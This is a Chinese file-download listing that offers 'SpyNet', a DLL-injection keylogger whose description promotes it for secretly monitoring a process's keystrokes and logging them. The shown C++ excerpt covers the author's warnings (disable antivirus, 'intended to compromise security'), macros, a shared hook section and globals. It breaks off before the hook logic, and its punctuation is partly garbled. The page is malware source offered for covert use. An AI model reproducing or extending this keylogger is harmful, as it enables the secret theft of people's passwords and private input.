• 大小: 7KB
    文件类型: .zip
    金币: 2
    下载: 0 次
    发布日期: 2024-01-23
  • 语言: 其他
  • 标签: dll  hook  

资源简介

利用dll的hook悄悄监视某进程键盘输入并保存日志到log,我测过非常有用,需要的赶紧下载了,还可以利用生成log做后序开发。

资源截图

代码片段和文件信息

//Author: st0le [st0le‘n‘stuff softwarez!]
//URL : http://st0lenc0des.googlepages.com

/* 
 * This code may be freely distributed
 * and used for any non-commericial purpose as long as its copyright 
 * notice is retained.  The author assumes absolutely no responsibility 
 * for any harm caused by the Program or bugs in the code.
 **/ 

//Warning : Your Anti-Virus will (should) Flag This Application Hostile. To Test it you‘ll need to disable your AV.
//          No Autorun capability has been added so to Clean your system perform a Cold Reboot.
//          The Application has Malware Characteristics and IS Intended to Compromise Security.
//          The Dll is Injected into Multiple Processes and may cause the system to slow down or de-stabilize.
//          If This Scares You should Delete The Source Code and Binaries right now.
//Disclaimer:
//          The Author assumes no Responsiblity for the damage that may be caused by this program.
//          This program is distributed in the hope that it will be useful
//          but WITHOUT ANY WARRANTY; without even the implied warranty of
//          MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
//          Stricly for educational purposes.
//          The Author condemns the use of the Content/Program for illegal/unethical purposes.

#include 
#define MAX 256 // who else loves 256? =)

//my macros
#define my_toLower(x)  ((x >= ‘A‘) && (x <= ‘Z‘)? (x - ‘A‘ + ‘a‘):(x));
#define my_isUpper(x)  ((x >= ‘A‘) && (x <= ‘Z‘))

#define AUTOHOOK  TRUE

#ifndef AUTOHOOK 
#error “Dude You HAVE To Define The AUTOHOOK Preprocessor.“
#else
#if ((AUTOHOOK != TRUE) && (AUTOHOOK != FALSE))
#error “Dude You HAVE To Define The AUTOHOOK Preprocessor as TRUE or FALSE.“
#endif
#endif

//my really lame versions of debug
#define DEBUG FALSE

#if DEBUG
#define msgbox(x) MessageBox(0xx0)

void msgvar(DWORD dwValuechar *szVar = NULL)
{
char szBuf[MAX];
if(!szVar)
wsprintf(szBuf“Value = [%u] (%#X)“dwValuedwValue);
else
wsprintf(szBuf“%s = [%u] (%#X)“szVardwValuedwValue);

MessageBox(0szBuf“Debug“0);
}

void msgvar(char *szValuechar *szVar = NULL)
{
char szBuf[MAX];
if(!szVar)
wsprintf(szBuf“Value = [%s]“szValue);
else
wsprintf(szBuf“%s = [%s]“szVarszValue);

MessageBox(0szBuf“Debug“0);
}
#else
#define msgbox(x) 0 //used where “return msgbox(“message“);“
#endif

//Shared Section of DLL (Holds the Injector Hook)
#pragma data_seg(“.SpyNet“)
HHOOK hInjectionHook = NULL;
#pragma data_seg()
#pragma comment(linker“/SECTION:.SpyNetRWS“)


//Global Variables
char g_exePath[MAX_PATH + 1];
char g_dllPath[MAX_PATH + 1];
char g_logPath[MAX_PATH + 1];

HINSTANCE g_hInstance = NULL;   //my instance
HHOOK hKLoggerHook = NULL; //WH_KEYBOARD Hook
HANDLE g_hLogFile = NULL; //File Handle to Log File
HWND g_hwndLastActiveWindow = NULL; //Handle to last active window

//Note: SpyNet CAN also Log

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     文件        2647  2000-01-01 01:20  SpyNet.dsp
     文件       10017  2000-01-01 02:25  SpyNet.cpp
     文件          41  2000-01-01 01:19  SpyNet.def
     文件        1823  2000-01-01 01:26  Info.txt
     文件         535  2000-01-01 00:28  SpyNet.dsw

评论

共有 条评论